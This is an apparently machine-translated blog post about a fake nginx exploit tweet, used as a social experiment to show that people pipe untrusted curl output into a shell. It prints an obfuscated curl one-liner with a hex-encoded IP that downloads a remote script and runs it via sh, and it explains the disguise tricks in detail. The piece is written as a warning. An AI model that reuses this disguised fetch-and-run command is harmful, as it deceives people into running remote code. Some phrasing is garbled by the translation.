Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse

Merk. overs.: Forfatter originalnotatet, publisert 1. juni, bestemte seg for å gjennomføre et eksperiment blant de som er interessert i informasjonssikkerhet. For å gjøre dette forberedte han en falsk utnyttelse for en ikke avslørt sårbarhet i webserveren og la den ut på Twitter. Hans antakelser - å bli avslørt umiddelbart av spesialister som ville se det åpenbare bedraget i koden - ble ikke bare oppfylt... De overgikk alle forventninger, og i motsatt retning: tweeten fikk enorm støtte fra mange mennesker som ikke gjorde det sjekk innholdet.

Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse

TL;DR: Ikke bruk filpipelining i sh eller bash under noen omstendigheter. Dette er en fin måte å miste kontrollen over datamaskinen på.

Jeg vil dele med deg en kort historie om en komisk PoC-utnyttelse som ble opprettet 31. mai. Han dukket opp umiddelbart som svar på nyheter fra Alisa Esage Shevchenko, medlem Zero Day Initiative (ZDI), at informasjon om en sårbarhet i NGINX som fører til RCE (ekstern kjøring av kode) snart vil bli offentliggjort. Siden NGINX driver mange nettsteder, må nyhetene ha vært en bombe. Men på grunn av forsinkelser i prosessen med "ansvarlig avsløring", var detaljene om hva som skjedde ikke kjent - dette er standard ZDI-prosedyre.

Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse
kvitring om sårbarhetsavsløring i NGINX

Etter å ha jobbet ferdig med en ny tilsløringsteknikk i curl, siterte jeg den originale tweeten og "lekket en fungerende PoC" bestående av en enkelt kodelinje som visstnok utnytter den oppdagede sårbarheten. Dette var selvfølgelig fullstendig tull. Jeg antok at jeg umiddelbart ville bli avslørt, og at jeg i beste fall ville få et par retweets (velvel).

Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse
kvitring med falsk utnyttelse

Jeg kunne imidlertid ikke forestille meg hva som skjedde videre. Tweeten mins popularitet skjøt i været. Overraskende nok, for øyeblikket (15 Moskva-tid 00. juni) er det få som har innsett at dette er en forfalskning. Mange retweeter det uten å sjekke det i det hele tatt (for ikke å snakke om å beundre den nydelige ASCII-grafikken den sender ut).

Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse
Bare se så vakkert det er!

Selv om alle disse løkkene og fargene er flotte, er det tydelig at folk måtte kjøre kode på maskinen for å se dem. Heldigvis fungerer nettlesere på samme måte, og kombinert med det faktum at jeg egentlig ikke ønsket å havne i juridiske problemer, var koden som var begravd på siden min, bare foreta ekko-anrop uten å forsøke å installere eller utføre noen tilleggskode.

Liten digresjon: nettspooky, DNZ, jeg og de andre gutta fra laget Thugcrowd Vi har lekt med forskjellige måter å skjule krøllekommandoer på en stund nå fordi det er kult... og vi er nerder. netspooky og dnz oppdaget flere nye metoder som virket ekstremt lovende for meg. Jeg ble med på moroa og prøvde å legge til IP-desimalkonverteringer i triksposen. Det viser seg at IP også kan konverteres til heksadesimalt format. Dessuten spiser curl og de fleste andre NIX-verktøy gladelig heksadesimale IP-er! Så det var bare å lage en overbevisende og sikker kommandolinje. Til slutt bestemte jeg meg for denne:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosio-elektronisk ingeniørfag (SEE) - mer enn bare phishing

Sikkerhet og fortrolighet var en viktig del av dette eksperimentet. Jeg tror det var de som førte til suksessen hans. Kommandolinjen antydet tydelig sikkerhet ved å referere til "127.0.0.1" (den velkjente lokale verten). Localhost anses som sikkert og dataene på den forlater aldri datamaskinen din.

Kjennskap var den andre nøkkelen SEE-komponenten i eksperimentet. Siden målgruppen først og fremst bestod av personer som var kjent med det grunnleggende innen datasikkerhet, var det viktig å lage kode slik at deler av den virket kjent og kjent (og derfor trygg). Å låne elementer fra gamle utnyttelseskonsepter og kombinere dem på en uvanlig måte har vist seg å være svært vellykket.

Nedenfor er en detaljert analyse av one-liner. Alt på denne listen slites kosmetisk natur, og praktisk talt ingenting kreves for den faktiske driften.

Hvilke komponenter er egentlig nødvendige? Dette -gsS, -O 0x0238f06a, |sh og selve webserveren. Nettserveren inneholdt ingen ondsinnede instruksjoner, men serverte bare ASCII-grafikk ved hjelp av kommandoer echo i manuset i index.html. Når brukeren skrev inn en linje med |sh i midten, index.html lastet og utført. Heldigvis hadde vokterne av webserveren ingen dårlige hensikter.

  • ../../../%00 — representerer å gå utover katalogen;
  • ngx_stream_module.so — bane til en tilfeldig NGINX-modul;
  • /bin/sh%00<'protocol:TCP' - Vi lanserer visstnok /bin/sh på målmaskinen og omdirigere utgangen til TCP-kanalen;
  • -O 0x0238f06a#PLToffset - hemmelig ingrediens, supplert #PLToffset, for å se ut som en minneoffset på en eller annen måte inneholdt i PLT;
  • |sh; - et annet viktig fragment. Vi trengte å omdirigere utdataene til sh/bash for å utføre koden som kommer fra den angripende webserveren som ligger på 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - en dummy som netcat refererer til /dev/tcp/localhostslik at alt ser trygt ut igjen. Faktisk gjør det ingenting og er inkludert i linjen for skjønnhet.

Dette avslutter dekodingen av enlinjeskriptet og diskusjonen om aspekter ved "sosio-elektronisk ingeniørkunst" (intrikat phishing).

Webserverkonfigurasjon og mottiltak

Siden det store flertallet av abonnentene mine er infosec/hackere, bestemte jeg meg for å gjøre nettserveren litt mer motstandsdyktig mot uttrykk for "interesse" fra deres side, bare for at gutta skulle ha noe å gjøre (og det ville vært gøy å sette opp). Jeg skal ikke liste opp alle fallgruvene her siden eksperimentet fortsatt pågår, men her er et par ting serveren gjør:

  • Overvåker aktivt distribusjonsforsøk på visse sosiale nettverk og erstatter ulike forhåndsvisningsminiatyrbilder for å oppmuntre brukeren til å klikke på lenken.
  • Omdirigerer Chrome/Mozilla/Safari/etc til Thugcrowd-kampanjevideoen i stedet for å vise shell-skriptet.
  • Ser etter åpenbare tegn på inntrenging/åpenbar hacking, og begynner deretter å omdirigere forespørsler til NSA-servere (ha!).
  • Installerer en trojaner, så vel som et BIOS-rootkit, på alle datamaskiner hvis brukere besøker verten fra en vanlig nettleser (bare tuller!).

Suksess for et sosialt eksperiment med en falsk nginx-utnyttelse
En liten del av antimers

I dette tilfellet var mitt eneste mål å mestre noen av funksjonene til Apache – spesielt de kule reglene for å omdirigere forespørsler – og jeg tenkte: hvorfor ikke?

NGINX Exploit (Ekte!)

Abonner på @alisaesage på Twitter og følg ZDIs store arbeid med å adressere svært reelle sårbarheter og utnytte muligheter i NGINX. Arbeidet deres har alltid fascinert meg, og jeg er takknemlig overfor Alice for hennes tålmodighet med alle omtalene og varslene min dumme tweet forårsaket. Heldigvis gjorde det også noe godt: det bidro til å øke bevisstheten om NGINX-sårbarheter, samt problemer forårsaket av misbruk av krøll.

Kilde: www.habr.com

Legg til en kommentar